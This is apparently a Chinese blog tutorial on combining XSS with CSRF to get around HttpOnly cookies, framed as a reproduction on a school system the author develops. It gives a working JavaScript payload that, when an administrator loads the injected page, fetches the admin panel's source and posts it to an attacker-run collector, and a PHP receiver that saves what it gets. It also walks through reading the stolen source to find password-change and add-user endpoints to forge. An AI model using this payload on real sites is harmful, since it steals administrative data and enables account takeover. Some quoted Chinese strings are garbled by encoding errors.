當網站cookie設置了httponly,xss獲取不到到網站的cookie。但是我們是可以獲取到網站后台的url。
這時候我們可以xss得到網站后台源碼,從而找到網站后台的一些敏感操作:添加用戶,刪除用戶,修改密碼,數據庫備份等等。
在這個xss點上,用ajax構造post數據包,添加用戶。這就應該是xss+csrf的利用。
最近開發我們學校的黨建系統,下面我們來復現一下上面操作:
1、前提是我們已經獲得后台的地址了,這時候在xss平台上配置如下代碼:
1 function createXmlHttp() { 2 if (window.XMLHttpRequest) { 3 xmlHttp = new XMLHttpRequest() 4 } else { 5 var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); 6 for (var n = 0; n < MSXML.length; n++) { 7 try { 8 xmlHttp = new ActiveXObject(MSXML[n]); 9 break 10 } catch(e) {} 11 } 12 } 13 } 14 createXmlHttp(); 15 xmlHttp.onreadystatechange = function(){ 16 if (xmlHttp.readyState == 4) { 17 code=escape(xmlHttp.responseText); 18 createXmlHttp(); 19 url = "http://127.0.0.1/resive/resive.php"; //這里是我們服務器接受的地址 20 cc = "htmlcode=" + code +"&filename=index.html"; 21 xmlHttp.open("POST", url, true); 22 xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 23 xmlHttp.send(cc) 24 } 25 }; 26 xmlHttp.open("GET", "/dangjian/index.php/Admin/Introduction/index.html", true);//這塊填寫獲得的后台地址。 27 xmlHttp.send(null);
resive.php是我們接收的代碼:
<?php function js_unescape($str) { $ret = ''; $len = strlen($str); for ($i = 0;$i < $len;$i++) { if ($str[$i] == '%' && $str[$i + 1] == 'u') { $val = hexdec(substr($str, $i + 2, 4)); if ($val < 0x7f) $ret.= chr($val); else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f)); else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f)); $i+= 5; } else if ($str[$i] == '%') { $ret.= urldecode(substr($str, $i, 3)); $i+= 2; } else $ret.= $str[$i]; } return $ret; } $data = js_unescape($_POST['htmlcode']); //對獲得源碼js_unescape解碼。 $filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html"; $myfile = fopen($filename, "w"); fwrite($myfile, $data); fclose($myfile); ?>
這時候將寫好的js代碼插入到xss地方,當管理員訪問的時候就會將后台的源碼發到我們的服務器上。
模擬管理員訪問后台,看到將源碼發到resive.php上了:
查看收到的源碼:
這時候我們認真分析網站后台的源碼,哪里鏈接有敏感操作。這里有修改密碼的操作,但是需要我們提供之前的密碼。所以就沒辦法利用。
假設這里沒有讓提交之前的密碼。我們就可以構造添加用戶的ajax。再在這個xss利用
<script> $(document).ready(function(){ $("#changePasswordSubmit").click(function(){ var oldPassword = $("#oldPassword").val(); var newPassword = $("#newPassword").val(); var data = {}; if(oldPassword == ''){ alert("请输入原密ç "); return false; } if(newPassword == ''){ alert("请输入新密ç "); return false; } if(newPassword != $("#reviewPassword").val()){ alert("两次密ç 输入ä¸ä¸€è‡´"); return false; } data['oldPassword'] = oldPassword; data['newPassword'] = newPassword; $.ajax({ url:"/dangjian/index.php/Home/Login/ajax_changePassword", type:"POST", data:data, success:function(data){ if(data['code'] === 0){ alert(data['data']); $("#oldPassword").val(''); $("#newPassword").val(''); $("#reviewPassword").val(''); $('#changePasModal').modal('hide'); }else{ alert(data['err']); } } }); }); }); </script>